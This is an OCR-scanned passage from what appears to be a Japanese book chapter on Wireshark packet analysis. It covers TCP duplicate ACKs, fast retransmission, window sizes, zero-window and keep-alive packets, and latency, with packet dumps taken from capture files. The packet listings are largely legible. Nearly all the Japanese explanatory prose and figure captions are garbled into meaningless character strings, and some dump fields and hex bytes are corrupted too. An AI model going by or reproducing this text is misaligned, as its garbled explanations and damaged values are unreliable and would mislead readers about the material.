BA—KE SN ET, COREEKICEKLADHPRKI-7TT,

S |
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SEQ #: 5000 Data Size: 500

SEQ #: 6000 Data Size: 500

ACK #: 5500 |
|

Duplicate ACK(1)#: 5500

Duplicate ACK(2)#: 5500 |

S

EERIDHEE

Duplicate ACK(3)#: 5500 | SERI ISR

i i i i

| Fast Retransmission SEQ #: 5500 Data Size: 500::>

ACK #: 6000 |

)

X9-7 ZfEfHS5NERACKIF SEBIXICDENS

7 74 Wtep_dupack.pcap ICEBACK & BB REOY Y TV ERLET, ZOF v TFx 774V
DA DI3ry MR 9-8 T o

[ 3 0.000011 172.31.136.85 195.81.202.68 TCP [TCP Dup ACK 1#1] 38760 > 80 [ACK] Seq=704338729 Ack=1310973186 Win=382 Len=0 TSV=22247173 md@iﬁm

Yyt ( ), Yyt p ( )
Ethernet II src: 00:16:35:ad4:cl:c6 (00 16:35:a4:cl:c6), Dst: 00:00:0c:07:ac:01 (00:00:0c:07:ac:01)
l Internet Protocol, Src: 172.31.136.85 (172.31.136.85), Dst: 195.81.202.68 (195.81.202.68)
B Transmission control Protocol, src Port: 38760 (38760), Dst Port: 80 (80), Seq: 704338729, Ack: 1310973186, Len: 0
Source port: 38760 (38760)
Destination port: 80 (80)
[stream index: 0]
Ssequence number: 704338729
Acknowledgement number: 1310973186
Header length: 44 bytes
Flags: 0x10 (ACK)
window size: 382
Checksum: 0Oxcc66 [validation disabled]
options: (24 bytes)
= [SEQ/ACK analysis]
= [Tcp Analysis Flags]
[This is a Tcp duplicate ack]
[Duplicate ACK #: 1]
= [pbuplicate to the ACK in frame: 1] o
[l [expert Info (Note/Sequence): Duplicate ACK (#1)]

(l

[LVINO0 00 Oc 07 ac 01 00 16 35 a4 cl cb6 08 00 45 00
(L IN00 40 2f 41 40 00 40 06 49 6c ac 1f 88 55 c3 51
[Wer{lllca 44 97 68 00 50 29 fb 5b 29 4e 23 dd 02 b0 10
(W EIINI01 7e cc 66 00 00 01 01 08 Oa 01 53 77 05 00 14|
[{Z1/ 54 82 01 01 05 Oa d4e 23 f2 62 4e 24 0d 1la

[9-8 ACKHRDY =7 ZXESERLTNS

5%1.:.% (172.31.136.85) 75 3%M5% (195.81.202.68) %5 X722 DTCP ACK/$% v b
o VIDFYTF YT AN E TR TRy FTRSN T — 712845 ACK T,
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Wireshark DT 7 # U MRETIF Y — U ABSDFEM ZBEICT DI, BT —

TUABSEEDRLDICIFEOTVEITH. IR—=IDFIPEESF v TF v Tld T DEEE

EEODTVFEB Ao COMEBEERIICTDICIF. XZa—hH5 [Edit] = [Preferences]
#Z3&IR U, [Preferences] 44 7702 T [Protocols]. [TCP] ZJEIZED. [Relative

sequence numbers] DEDRY I ZADF T v IZHNLTLIEE 0,

o8 MO ACK FH 5131310973186 @ T, THAKICZET H87 v b Y —r Y ATHEFI %
%1399 (X9-9),

[ 1 0.000000 172.31.136.85 195.81.202.68 TCP 38760 > 80 [ACK] Seq=704338729 Ack=1310973186 Win=382 Len=0 TSV=22247173 TSER=1332354 SLémJ M

Frame 1: 78 bytes on wire (624 bits), 78 bytes captured (624 bits)
thernet II, Src: 00:16:35:a4:cl:c6 (00:16:35:a4:cl:c6), Dst: 00:00:0c:07:ac:01 (00:00:0c:07:ac:01)
nternet Protocol, Src: 172.31.136.85 (172.31 85) 81.202.68)
= Transmission Control Protocol, Src Port: 3 (38760), Dst Port: B8O (B80),
Source port: 38760 (38760)
Destination port: 80 (80)
[stream index: 0]
Sequence number: 704338729
Acknowledgement number: 1310973186 9
Header length: 44 bytes
Flags: 0x10 (ACK)
window size: 382
Checksum: 0Oxdlbe [validation disabled]
options: (24 bytes)

973186, Len: 0

0010 00 40 2f 40 40 00 40 06 49 6d ac 1f 88 55 c3 51
97 68 00 e
e d1 be 00

01 01 05

X9-9 FRILTWEWS —F 2 RBSD/INT Y b

AL ORDNIT Y bV — 7 v AF5131310984130@ T L 720 ZHETFHIL-doTidi<,
Ny MPREOBBTHE LI EABRLTVWE T, ZBEMOKERIE, o ry oy —r
AFEGHBEHNTD 2B L, SHEHD/S7 v P LTRI10DEHACKZ EELE T,

[ 20.000190 195.81.202.68 172.31.136.85 HTTP Continuation or non-HTTP traffic [ETSECS|E=NEE] > )

Frame 2: 1434 bytes on wire (11472 bits), 1434 bytes captured (11472 bits)

Ethernet II, Src: 00:0b:be:72:15:00 (00:0b:be:72:15:00), Dst: 00:16:35:ad:cl:c6 (00:16:35:a4:cl:c6)
Internet Protocol, Src: 195.81.202.68 (195.81.202.68), Dst: 172.31.136.85 (172.31.136.85)

Transmission Control Protocol, Src Port: 80 (80), Dst Port:

B

38760 (38760), Seq: 1310984130, Ack: 704338729,
Source port: 80 (80)

Dpestination port: 38760 (38760)
[stream index: 0]
i sequence number: 1310984130
[Next sequence number: 1310985498]
Acknowledgement number: 704338729
Header Tlength: 32 bytes
Flags: 0x10 (ACK)
window size: 108
Checksum: 0xbdf7 [validation disabled]
options: (12 bytes)
= [SEQ/ACK analysis]
[Number of bytes in flight: 1368]
|| ® Hypertext Transfer Protocol

B

7 e9
0050 a3 24 a9 14 99 f6 e6 8f d2 92 94 8c 11 45 07 ae
0060 69 29 41 c1 cf 14 74 a0 f5 e2 81 c6 0d 2f 3c 00

NN7A__ 31 _On £4 04 Th O~ S 3 O Tn in hA 1a NE KO a4 1 FaRY

H9-10 HADERACK/ Yy b




188 | 92 v hD—UDEESHS

KOWTNPOTTET, SOy "PEBEACKSr v M ThHDH I L 2R TE LT,

o [Packet Details] XA > ® [Info]l # T A%, BFITHFVWLFTERENTN S,
e [Packet Details] X4 » ®»SEQ/ACK Analysisf7TZ B L CTHh b &, 1FEHD/ v PO EH
ACKTHAHZENFRENT VWS,

E9-11 DL H1Z, Hl LoD/ 7y b THINDE T,

No. Time Source Destination Protocol Info
1 0.000000 172.31.136.85 195.81.202.68 Tcp 38760 > 80 [ACK] Seq=704338729 Ack=1310973186 Win=382 Len=0 TSV=22247173 TSER:
2 0.000190 195.81.202.68 172.31.136.85 HTTP continuation or non-HTTP traffic

( 4 0.000093 195.81.202.68 172.31.136.85 HTTP continuation or non-HTTP traffic

)
[4 6 0.000121 195.81.202.68 172.31.136. 85 HTTP Continuation or non-HTTP traffic

H9-11 o= RBEESNENDICER SN =EHRACK

BEEMIPSEONIAFH Oy NI A 5y — 7 Y ZAFEPTW 20T, ZEMIE2
HHOERACKZERELETO. T2LFAWEY R —F7 Y AFFTOr Y MRV 272060. 3
HHORBEDOEHACKAELNE L7120,

HETCIE3MEEH OFEBEACK Z TS &3 IS TRTO/7 v bORE R L. /87 v b
EHELET, K9-12131HK/ T v POREFEXTY,

[ & 0.000092 195.81.202.68 172.31.136.85 HTTP [TCP Fast Retransmission] Continuation or non-HTTP traffic o8 lo | O

@ Frame 8: 1434 bytes on wire (11472 bits), 1434 bytes captured (11472 bits) -
® Ethernet II, Src: 00:0b:be:72:15:00 (00:0b:be:72:15:00), Dst: 00:16:35:a4:cl:c6 (00:16:35:a4:cl:c6) (Wl
@ Internet Protocol, Src: 195.81.202.68 (195.81.202.68), Dst: 172.31.136.85 (172.31.136.85)

= Transmission Control Protocol, Src Port: 80 (80), Dst Port: 38760 (38760), Seq: 1310973186, Ack: 704338729, Len: 1368

source port: 80 (80)

Destination port: 38760 (38760)
[stream index: 0]

sequence number: 1310973186

[Next sequence number: 1310974554]
Acknowledgement number: 704338729

M Header length: 32 bytes L
l Flags: 0x10 (ACK) :
I window size: 108

@ Checksum: 0x9364 [validation disabled]
options: (12 bytes)
= [SEQ/ACK analysis]
[Number of bytes in flight: 15048]
= [Tcp Analysis Flags]
= [This frame is a (suspected) fast retransmission]
[expert Info (warn/Sequence): Fast retransmission (suspected)]
[This frame is a (suspected) retransmission] |
@ Hypertext Transfer Protocol 2

|
:0020 [EIEFN00 50 97 68 4e 23 dd 02 29 fb 5b 29 80 10
I

[(E{VEO0 6C 93 64 00 00 01 01 08 Oa 00 14 54 82 01 53]
0040 @MY Td 2a 2e 08 3c f4 a0 80 09 c5 18 00 73 f9
0050 52 81 c9 e8 29 09 f5 14 9c 67 bd 28 00 8a 07 6¢C
0060 d2 76 c7 6a 00 cf ff 00 5a 83 cl a5 e8 07 6e 69

30 rn 30 N GA 1£ Oh Af Ak Ad a7 10 AA_o- an T

[9-12 FHEACKICEBIHK/ VT v bOESEBE

MOEL 905, 23 v bOT%IE [Packet Details] ~<A ~ @ [Info] # 5 A THERTEE T, Lo
BlFRE, BRI FTHEINTVEOTICDA) 5, [SEQ/ACK Analysis] 2°5. %5
WRETHLIEPDLRNETO REVELF T, T8y MSEMTEZL R LTSI, 7y
b Cid7% { Wireshark DEFE TS )o F XY 7F X 7 7 A VOKRBED/ S v M, BERFEDOZEEZRT
ACK/ 7y heeh 9,
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AN Ty MEEDRRECTCPBIEDT —5 JO—ICREZS5 X2 5aDH D KiEE LT,

:s:\‘ . ELZUF1TACK (Selective Acknowledgement) BEENZEIFSNET. LD/ b

W o TF 0 TR BIOSYIAN\Y RY T TORRICBVT, BL T« TACK

DEWEHES LTIV I—FENTVEYT . TOHBE/ T v MHSEK U TEEACK

ERIFWD L HKUIT Y BUADIT y bOZEDEII L TLIUZE, JEEULT2)/S

TvhDHFDBEBEEINET. LU IT 1« TACKDBRMICIE > TLEWE, JEE U/

Ty RDHEIORESNEINTD/INT Y bHEER/NT Y bEEBICHERESNFK

T DFEDELIT A TACKICE DT, T—=FDUNINUZEHENICITDIZENTED

DTI. RIADTCP/IPRY v IDREFEL YT 4 TACKZTIR—MLTWHDT,
BEIFCOEEDNRESNTVDIFFTY,

9.2 TCPOZ7O—HiH

Tk & WHACKIZ N7 v MO LK T 2 N 2479 720D TCPHERE TS, TCPIZ/ 4 » b
WhETFHTHIRER Loz Lzs, BB LI LB T BnEFH, FVICLTTCPIC
W ZOBRE Lo TnET,

TCPIZ, /3y MYEPRIDEI T hbE, F—FERL — M RBELTIRE CASAT 1>
TI)4RTECI R FEELTFE T ATGATA 774V F7d, ZREHEOZE71 VKo %
fioTF—r7u—2H#EL£3,

ZAET 4 YRV RZEEHEDRET BT, TCPAy FIHEM SN THY QL 231 1), TCPD/Ny
T PRI T AT — Y A REFIEADL DD TT . TONy 7 73IIE T — & 25— WIS
ENBHMT, Z20%, F—F BT TV r—YaryB7ubaVicESH LR E2Hb T, 2ET
AIMANZEETE B 57— ¥ 813, Window Size 74 — VNI E SNETHREY 9, REFNE
S DF =8 #RETHIE, ZEHEMNIHOF— 5 %2 %E Lz v) ACK%E %E T 5 4 EH
HVFET. FRREHIFT—FZRIL T TCP Y 7 7 #2221 B LENHY T§, M9-1312%
B4 v Fyoffaz LT Ed,
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LNy 778809 Z | [ 94V Fo94Z |

| 2500 /\A k [ 250081 ] [ 50001k |

| 2000 /N1 k Z> [ 500/1«k ] [ 500074k ]
\
|

[ 5000/8qk ] [ 500080k ]

<Z ACK

| 3000 /\A k

[ 200080k | [ 50001k ]

| 1000 /A k [ 100084k ] [ 5000/\1k |

[ 500031k | [ 500031k ]

( R

[9-13 ZEEHNZUMET—2B&HIHTEZET 1KY

M9-13Tlx, ZfE7 4 ¥ F7DH A4 XH500054 hDOHF— N7 54 7V MBEF—=F 2R EL T
9, 7 T4 T Y ID250054 FOT—F H kG5 T B L — 8D Ny T 7 I 25007514 bL A
L. 3512200051 bS5k HNE E 50054 IANEHBALET, I TH—NEZDTF—F DACK%E
HENVFEFT N T 7DF=FHMBL7-DT, TNy T 7IZBENTET Lz, TOMBEDPHD KX
N, 7547 2 A83000754 by 100034 MEF =% ZRE L. =Dy 7 713100034 &
WL LET. 7947 Y MIFEACKZ XD, Ny 7707 =7 2L F3,

9.21 D1V RO XDRAE

T4 YN A ZOFIETH LWL TIEH D FHAD, FWIZ) TN EIEIRY F4A, TCPAS
F=FEZIFMLE, ACKP AR ENLV ARV AL LTHEBENTTE, ZREDONNy 77 12H D
T =7 PEIGRHEICLE SN S b TR WO T,

Y —NNBELEDT FTAT Moy MUBLZICR SN TLE D & Ny T 7 &2 2RI BIEHED
BIELTLEW, ROT—F 22T WBEDBHRTERLRD T3, 7a—Hl#dtrbhziFiud,
CHUI Ty MHRE T — S BEEICOLMD E T, EWICh, T — W REE L TF — & WIIATERIE L
TVBYE. ZRIAVETOFA X2 #WETHIENTEL T, 2L ACK/¥7 v FOTCPA Y
T, 74 Y RIH A ZDMEE/NELTHZETITbRET . R9-14122061%2 R LET,

S
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LNy 77 BEHOPAZ | [ 94V RoHsAX |

| 2000 /N1~ [ 3000/3«F ] [ 5000/\1F |

| 2000 /N1 R [ 10001k ] [ 5000/ /K ]

| 800 /N1 k [ 20014k ] [__1000/\4k ]

| 150 /N1 k [ 5011k | [ 10001k |

<ZACK—WindowUpdate 1000 /\A F | [ 50001\« F | [ 1000NAF ]
|

[ 100030k ] [ 100031k ]

<Z ACK

[9-14 H—/\»EELLRICT > RI9 A IERETS

X9-14 Tld, H—r3D7 4 ¥ K34 13500054 b5 F > TWET, 7547 ¥ bAT20008
A FDF—F % %D, 5122000754 b2 T, 2Ny 7 7 HIEOZ2 E131000354 MIZR->TLE
WE L7z =3 Ny 7 73T 0o @0 R>TLE) B L. TONR—ATT — ¥ Wik
S, N7y MERSEZZ LB LE Lz, 22 TH—2NIE 74 Y FyH A4 X% 1000731 b
ICF2EVHIACKEZ FTA TV MIREDET, MRELTZ IA TV RO RBENDT—F mASI
B, H=—NETF—r 70 —%—ERETRLEDD, Ny T 7DTF =PRI TELLHITHDFEL
72

T4 YR A R KRELKTEHELDHVET . TP LEHICT— FWHESTEIUL, 71~
R A X% k509 ACK /v hERELET,

9.2.2 ¥OU« Y FRUEHICEDT—5I70—-D—KEL

= PWZNU LT FAT U IPODOT =3 2B TELZVEVIBEVHNET, HRE LT
AR, IR DOARE VS ZRRAPZRONE T, TNOHRE B L3y MEELHEL
BOPWIZOLDN E A, ZIET 4 ¥ Py 22 3WEZRDBRICED L 2 EHTHETT .

2 LZMENRE LG, Y —NEZB T4 Y P A A EaThr ) ¥uy 4 v Ky
WHIZ ELER T4 YRRy bR ELET 774 T VMBI T Y beRETHE T4
WREFIL LI T, =TT I 78y b k), b—nNeoat s va Yi3MFELET -7

S
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192 | 92 Ry hD—UDBESHS

TIA TNy ME, =D ZET 4 Y Y ORNEMRT H720, —EMETEoNnT T, —
NPT — F LR 2 P T BB A1, Y alstoy 4 v R4 Xk @Ms 587 v M %D 9,
K9-151xF a1 ¥ FoloflznRm L TwEd,

54Tk H—N

[(Ny7788094X] [ 94 Fo91ZX |
\ 2000 /31 k Z> [ 3000k | [ 500014k |
[ 2000 /31 R Z> [ 1000/ «k ] [_5000/8/F |
<Z ACK_ Window Update 0 /31 k | | 0/\1 K | 01k ]
[ F—TT7547 Z> [ 0NAF | [ 0NAF ]
<Z ACK_Window Update 1000 /3o K | [ 1000/« | 100030k |
| 900 N1 F Z> [ 1oonar ] [1000nqk ]

H9-15 T4 X RIyHA AP EAICKESND ET — 2EENFLETS

9-15Tld, Y= 37 1 ¥ KA 25000354 M CTF—FZE#MIHELTwET, 2547 b
M5 400034 bOF =5 EZETHE, TaEy FAMPIEEICTLILD, 294 TV M hb07F—
5% —YMBTE L o TLEWE Lz, — NE Window Size 7 4 — IV K% 0k E L7278 v b
EREL. 2947V MEIF =Bk L CE =77 94 7 v b ERD E T, FOHBY—NT
F—=FZEDVURICR), T4 Y F A X% 100051 MIT 5L W) BRI FES72DT, 27547
YMITF-SAEEHHLE L
9.2.3 TCPRASAF+YI91Y KDEH

ZZFETTCPASGATFA YT A Y RYOFEIIZOWTHIPMLTEE L RIS S T7F ¥ 77
A )V tep_zerowindowrecovery.pcap CTEEICHTAT L 19,

D7 74 IV12192.168.0.20 2 5 192.168.0.30 3% S N7 i D TCP ACK ¥ 7 v hCTlfi g o T
F9, —HOAMNAIE Window Size 7 4 — )V FOMET A, Tk [Packet List] <4 > @ [Info] 7
7 & k. [Packet Details] XA YO TCPAy ¥OMi i TR ONT T, mMD3OD/3r v M Tld, &
DT 4=V EDHH K- TWDBZ EDFTIThHD 5 (K9-16),

S
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No.  Time @ Source

Destination
1 0.000000 192.168.0.20

Protocol  Info
192.168.0. 30

TCP 2235 > 1720 [AcK] 5eq=1422793785 Ack=2710996659 win=8760 Len=0

2 0.000237 192.168.0.20 192.168.0.30 TCP 2235 > 1720 [ACK] 5eq=1422793785 Ack=2710999579 Win=5840 Len=0

3 0.000193 192.168.0.20 192.168.0.30 TCP 2235 > 1720 [ACK] 5eq=1422793785 Ack=2711002499 Win=2920 Len=0
X9-16 /¥4y h®Window Size »ik-> T\

WD RO 876054 FA2FH D8 v M TIL5840/54 I, 3THH D/ v FTIRE H IS
292034 INEFHHOTVET@o 74 ¥ KA X0, ZEEPSOMBEBITEEILE TS
Yt O FERTY o [Timel #7282 /b E, 714 Y FoH A ZHIEICRFPLTWED

BOPVETOe 74 Y FIHA ANINZTRLBIT LT TOULTLEIBHAD L, EE
WZ4AFFHDO/T y MHEZEI BroT0ET (K9-17),

{8 4 0.000202 192.168.0.20 192.168.0.30 TCP [TCP ZeroWindow] 2235 > 1720 [ACK] Seq=1422793785 Ack=2711005419 Win=0 Len=0

[E=EE >
@ Frame 4: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
Ethernet II, Src: 00:50:56:c0:00:08 (00:50:56:c0:00:08), Dst: 00:50:56:c0:00:01 (00:50:56:c0:00:01)
@ Internet Protocol, Src: 192.168.0.20 (192.168.0.20), Dst: 192.168.0.30 (192.168.0.30)

= Transmission Control Protocol, Src Port: 2235 (2235), Dst Port: 1720 (1720), Seq: 1422793785, Ack: 2711005419, Len: 0
Source port: 2235 (2235)
pestination port: 1720 (1720)

[Sstream index: 0]

sequence number: 1422793785

Acknowledgement number: 2711005419

Header length: 20 bytes

@ Flags: 0x10 (ACK
i window size: 0 Q
M @ checksum: 0x6355 [validation disabled]
il = [sEQ/Ack analysis]
il = [TcP Analysis Flags]
= [This is a zerowindow segment]
= [expert Info (warn/sequence): Zero window]
[Message: Zero window]
[severity level: warn]
[Group: Sequence]

00 50 56 cO 00 01 00 50 56 cO 00 08 08 00 45 00 PV....P V..... E
00 28 8b bc 40 00 40 06 2d 91 cO a8 00 14 cO a8
(P BENVVIR P08 bb 06 b8 54 ce 1c 39 al 96 a8 eb 50 10
0030 [ENEENCEREENCNY 00 00 00 00 00 00

H9-17 €A7« >R BMISHEED T — 2E N ERETELEVEVI B

ATEH D28 v 83 192.168.0.20 55 192.168.0.30 NiE N2 b DTTH, Zud, ThhEF—%
EZIFTHNBNE BT AONHKTY, TCPAY #IZHh 5 ufi@. % LT [Packet List] <A ~
® [Info] 715 2 &, TCP~Ny #®DSEQ/ACK analysist 7 ¥ a2 »@% Wi, hr¥awr s vy
Iy NEEWH ZERDR)FET,

O YRy IRREEINS L, 192.168.0.30 Dl fE R X, 192.168.0.200 57 1 » K7
F A A8 % B3 % Window Update % ZJ A F T, 77— 2 EELTHA, 22 TERY 1
YR ERBIERILAMEZI-BNZDIDTT, €D, RO v FTWindow Update 23X

9-18D L HIZHESLNTVET,

INT 4 ¥ KA DI EA O 6424054 FETHIML ¥ L72@. SEQ/ACK analysis 17
ZRiE, ZNh)sWindow Update 72& a0 37,




194 | 92 Ry hD—ODEESHS

. 50.010005 192.168.0.20 192.168.0.30 TCP [TCP Window Update] 2235 > 1720 [ACK] Seq=1422793785 Ack=2711005419 Win=64240 Len=0 E‘_‘m\

Frame 5: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
Ethernet II, Src: 00:50:56:c0:00:08 (00:50:56:c0:00:08), Dst: 00:50:56:c0:00:01 (00:50:56:c0:00:01)

Internet Protocol, Src: 192.168.0.20 (192.168.0.20), Dst: 192.168.0.30 (192.168.0.30)
Transmission Control Protocol, Src Port: 2235

Source port: 2235 (2235)
Destination port: 1720 (1720)
[stream index: 0]
Sequence number: 1422793785
Acknowledgement number: 2711005419
Header length: 20 bytes
Flags: 0x10 (ACK)
window size: 64240
Checksum: 0x6864 [validation disabled]

[l 507/, S0t 0 B i S A S N R I e 0 |
[ETCe AT Iy i VS | e e O ) L P i e e e ]
= [expert Info (Chat/sequence): window update]
[Message: window update]
[severity level: chat]
[Group: Sequence]
0000 0 56 cO 00 01 00 50 56 cO 00 08 08 00 45 00

00 5
0010 00 28 8b bd 40 00 40 06 2d 90 cO a8 00 14 cO a8
00 1.

0020 (J08 bb 06 b8 54 ce 1c 39 al 96 a8 eb 50 10
0030 [ENECENCENCLNES 00 00 00 00 00 00

K9-18 F—ZEENFREILE -2 & #1525 TCPM®Window Update/ ¥4 b

Window Update 7% v 2345 SN 5 &, 192.168.0.30 DR A MIFF T — 5’5%1%?5‘@‘?6&1&60)
’GG%B&7§B®N77F%%DiTOC@%ﬁd# REIATbIE T AL THRDIC
BB L, T— Y BROBEREELFSEITHHTT,

b9 —Efffh\ 7 7 4 Wtep zerowindowdead.pcapllH B AT A T4 Y F 74 Y R EHRHRTAZE
LX9o mAD/7y M, 195.81.202.68 %5 172.31.136.85 D EHDOHTTP T 7 4 v 7 T &
DXy hOTHE, 172.31.136.85 05807 4 V K7y kA% LRTWET (K9-19),

[ 20.000029 172.31.136.85 195.81.202.68 TCP [TCP ZeroWindow] 38760 > 80 [ACK] Seq=704338729 Ack=1310997786 Win=0 Len=0 TSV=22248305 TSER=1333486 E‘éﬁ

Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
Ethernet II, src: 00:16:35:a4:cl:c6 (00:16:35:a4:cl:c6), Dst: 00:00:0c:07:ac:01 (00:00:0c:07:ac:01)
@ Internet Protocol, Src: 172.31.136.85 (172.31.136.85), Dst: 195.81.202.68 (195.81.202.68)
= Transmission Control Protocol, Sr i 6 3 Dst Port: 80 (80),
source port: 38760 (38760)
Destination port: 80 (80)
[stream index: 0]
Sequence number: 704338729
Acknowledgement number: 1310997786
Header length: 32 bytes
Flags: 0x10 (ACK)
window size: O
checksum: 0x36d0 [validation disabled] I
options: (12 bytes)
= [seq/ack analysis]
This is an ACK to the segment in frame: 1
[The RTT to ACK the segment was: 0.000029000 seconds]
= [TCP Analysis Flags]
= [This is a Zerowindow segment]
[Expert Info (warn/Sequence): Zero window]

0010 00 34 if &'9 40 00 &6 56 15 70 SE 1f 88 55 3 51 .4/I@.G. Ip...U.Q 2
ca 44 ] 3b e 3 ] .

M9-19 F—2EEEIEHBEOY 1 K/ y b

BB

CNEE17DE a4 Y Fy 2y P XKBTOETA, #HRITF 72 ENFE T, 172.31.
136.85 D H2# A Window Update /X7 v b2 %> CEEFHM 2 BT 20 TidAR<, B9-200 L 912
F—TTIA TNy IPELNTVET,
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[ 3 3.410576 195.81.202.68 172.31.136.85 TCP [TCP Keep-Alive] 80 > 38760 [ACK] Seq=1310997785 Ack=704338729 Win=108 Len=0 TSV=1334338 TSER=22248305 E‘E‘g

@ Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
® Ethernet II, Src: 00:0b:be:72:15:00 (00:0b:be:72:15:00), Dst: 00:16:35:a4:cl:c6 (00:16:35:a4:cl:c6)
@ Internet Protocol, Src: 195.81.202.68 (195.81.202.68), Dst: 172.31.136.85 (172.31.136.85)

, Src Port: 80 (80), Dst Port: 38760 (38760),

Source port: 80 (80)
Destination port: 38760 (38760)
[stream index: 0]
Sequence number: 1310997785
Acknowledgement number: 704338729
Header Tlength: 32 bytes
@ Flags: 0x10 (ACK)
window size: 108
@ Checksum: 0x3311 [validation disabled]
@ options: (12 bytes)
= [SEQ/ACK analysis]
= [Tcp analysis Flags]
= [This is a TCP keep-alive segment]
= [expert Info (Note/Ssequence): Keep-Alive]
[Message: Keep-Alive]
[severity level: Note]
[Group: sequence]

0010 00 34 ac 02 40 00 35 06 d7 b6 c3 51 ca 44 ac 1f
WP EIETNO00 50 07 68 Ze 24  3d 5b 29 80 10
RRERECNON 00 10 00 00 03 01 08 0a 00 14 3¢ 42 03 59

LD

«Em

[9-20 X¥—TT7IA TNy MEEAT S RUDERENDIAR T 3> EHETS

Z D8% v MZid, [Packet Details] X4 > ®TCP~ v ¥ ®»SEQ/ACK Analysist 7 ¥ 3 » T,
F—TTIATEVIEIPFCTET@, [Timel 7T 2% L, It/ v MAEEN723.4
BRI, SoXTy MEELN-ZEWbr T, B9-21D X )12, o EsEYay 1 YK
WNrobaEED, ) —HBF—=TT7 T4 Ty Ve kD v WD, il hki & 9,

No. Time @)  Source Destination Protocol Info

[9-21 HAT1 L RIINTy X =TT 14Ty NOREDVREIR)ESISD

F—TT T4 T v M, 34, 6.8%. 1I35HOMBTRE SN TVETO, BEMKE CEIME
LTWwb0SIZE->TiE, SORMADLY RS LD FE T, SHOWAE. [Timel 77 20MHEZINHE L
TwE, IA7 T arPRITBBMELELTVET, FAL IV E—FTORFER, 1 V5 —
AYIMPLT 7 ANET T U= FLELIELTWDEEIZ, 5BDDOBENSEH-7HEITLLI,
HKIZTELDIVHYEEA

9.3 TCPIS—Hli&EZO—HEINrv bk
TCPHizi%, HHACK, AFA4 T4 V74 Y FIZOWTEREL, BEICYEHTEIS TV a—
TA VTR EEDIEB N EVLOPRITTBEET,

BE&Ex/NTy b
HIEREPITTONDLEDIZ, 7594 T VIR T = 2 —N\PZE LTV HEnI EIilr S
4T YIRS TS, DF D28y MENTT AT & - Tk, FilERICAO0 %

S




——

196 | 92 Ry hD—ODEESHS

WDhITTT, 72 21— NETT =9 2F v 7Fr LTWAEE. 7947 Y Mo %E,
G SNy MEZIT N2V T, BTy P2 HICT A2 TETIIUD
FEALTLEVE T, =TTy MHROBEEZ > TwE 0 Litkwne ls7:
5. 24TV MITE I 7490 %F 2T F X TERWHEZTAELE). €9 TIUEH
HEk/ 8 POEENERTEE T,

E#ACKNTv b
EHE, EHEACKZFHEROBO LI RBDLELEZTVET, LWwIDL, 27547 ¥
MrOOIRT y MPSEHRTHR L2 L2 — DI L& EICEON 05T, T
ACKIE K og4E, ELLHATI I 74y 72X x 7 F v L7z X THHERTEET, Th
. W72y MY = Y APOHANT DL EEIIHETLILOTHL T L& B
HLTLZE N, 72 21X =037y b0 B1FH E3FHZ T 22T -7
WAIZEBHACKYEEON, 7747 Y MI2HFHO Ny bEEHE LT3 =351
FHESFEAZZUMo T LA, 2HA O/ M EA RO —HEN 2 H R X %
WHREEDSE L BHEHACKIEREZEINT T, BAAZOYF AP HIZIELW
ERY FRA —MITORTy MERBEEDIL, EHACKA R YL -500WIEE, 75
AT MITO/ry bR xX TF X MG L TLZEE W,

ETOT4 R IREEX—TT7 14Ty b
ATGATA YT T4 YT, = NTTF— 5 225, WHTELLRLIRM L HEBRL
T30 TAYRTHA ZADHALZD, ¥uy g Y RYIREBICR 7205 200%, 4 — /3T
PRFESR X THnLE W) DT, EELELHPOHENAE LS, BHINENRLREXTT,
I — N2 547 2 bOWME T, Window Update /3% v bR TE 5133 T,

9.4 EEEDFRREZRELLDHD

2%y MERDPBED A TRWERH ) £ 5, 200 OBEEIELL TS, TCPHRESLE
BACKDBRODO NI ENHEDTT, ZOL) LA, BRBEDFEKNEZ OO T 7=y
PREEERDET,

EORIED N Z 22 & LD BRI TTHEOVOEDIF, RUDNY Rzl 2k, Z0OHLITHELN
L3y R OPRRLZETT AT TAT ¥ M WebH— Nt T ¥ g V&V L TNT,
ZOWebH—NTHRAMEINTVEFA M2 TITALLIELAZELELE) ST THEENLE
DIk, TCP Y Ny A 7, &OHTTP GETY 7 =AM, GET) 7 T A MIxf$ 5 ACK, H—\
WITGAT Y MIES TR DT — 523y I BRER ENS, D 6D/ v M TF,

W N

N CDIEZIEMET B(C(d. Wireshark DIFAERRIE R ZBEUICRET DMENHD KT,

:‘:‘ R [View] — [Time Display Format] = [Seconds Since Previous Displayed Packet] %

N OBRUET.

S
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9.4.1 IERKERE

Y bT =7 R=Z 74 Y OFEMIZOWTIE, AEOLEOTHSTHMLE T, 22 Tid, miEE
DR & IR 572012, IEFREOMEONR=ZA T4 Y PREZL W) TR EHFE L TBWT
(BB, ZOHEDY Y FNVTIEX, 774 Viatencyl.pcapZ il L3, TCPhNY vz A 7 &
HTTPEEIZOWTIED )W LD THYIEL FHA. T 72 [Packet Details] X1 b R FHA,
Z 2Tl [Time] # 7 272 12fEma ) £ (B9-22),

No. Time Source Destination Protocol  Info
1 0.000000 172.16.16.128 74.125.95.104 TCP 1606 > 80 [SYN] Seq=2082691767 Win=8192 Len=0 M55=1460 WS=2
2 0.030107 74.125.95.104 172.16.16.128 TCP 80 > 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=5720 Len=0 M55=1406 Ws=6
3 0.000075 172.16.16.128 74.125.95.104 TCP 1606 > 80 [ACK] Seq=2082691768 Ack=2775577374 win=4218 Len=0
4 0.000066 172.16.16.128 74.125.95.104 HTTP GET / HTTP/1.1
5 0.048778 74.125.95.104 172.16.16.128 TCP 80 > 1606 [ACK] 5eq=2775577374 Ack=2082692395 win=109 Len=0
6 0.022176 74.125.95.104 172.16.16.128 TP [TcP segment of a reassembled PDU]

[9-22 ZDFF T4y 7RICICIHAE>THIVIERLZEEASNSD

ZOMBIE Y = v AFIEFISHEL 2RTOIR Lo TuER A,
PMOFvTF v 774 ME FUNT 749 7 TIEHY T35, 287 v FORZIE SN LR ASE
wEg,

9.42 BEDEE : EEE
4PE1X 7 74 Wlatency2.pcap Z TAHAE L k9o B9-2830 5005 X2 2DDT 7 A VDI y
M, B2 BRI T TR U T8,

No. Time Source Destination Protocol  Info
1 0.000000 172.16.16.128 74.125.95.104 TCP 1606 > 80 [SYN] 5eq=2082691767 Win=8192 Len=0 M55=1460 Ws=2
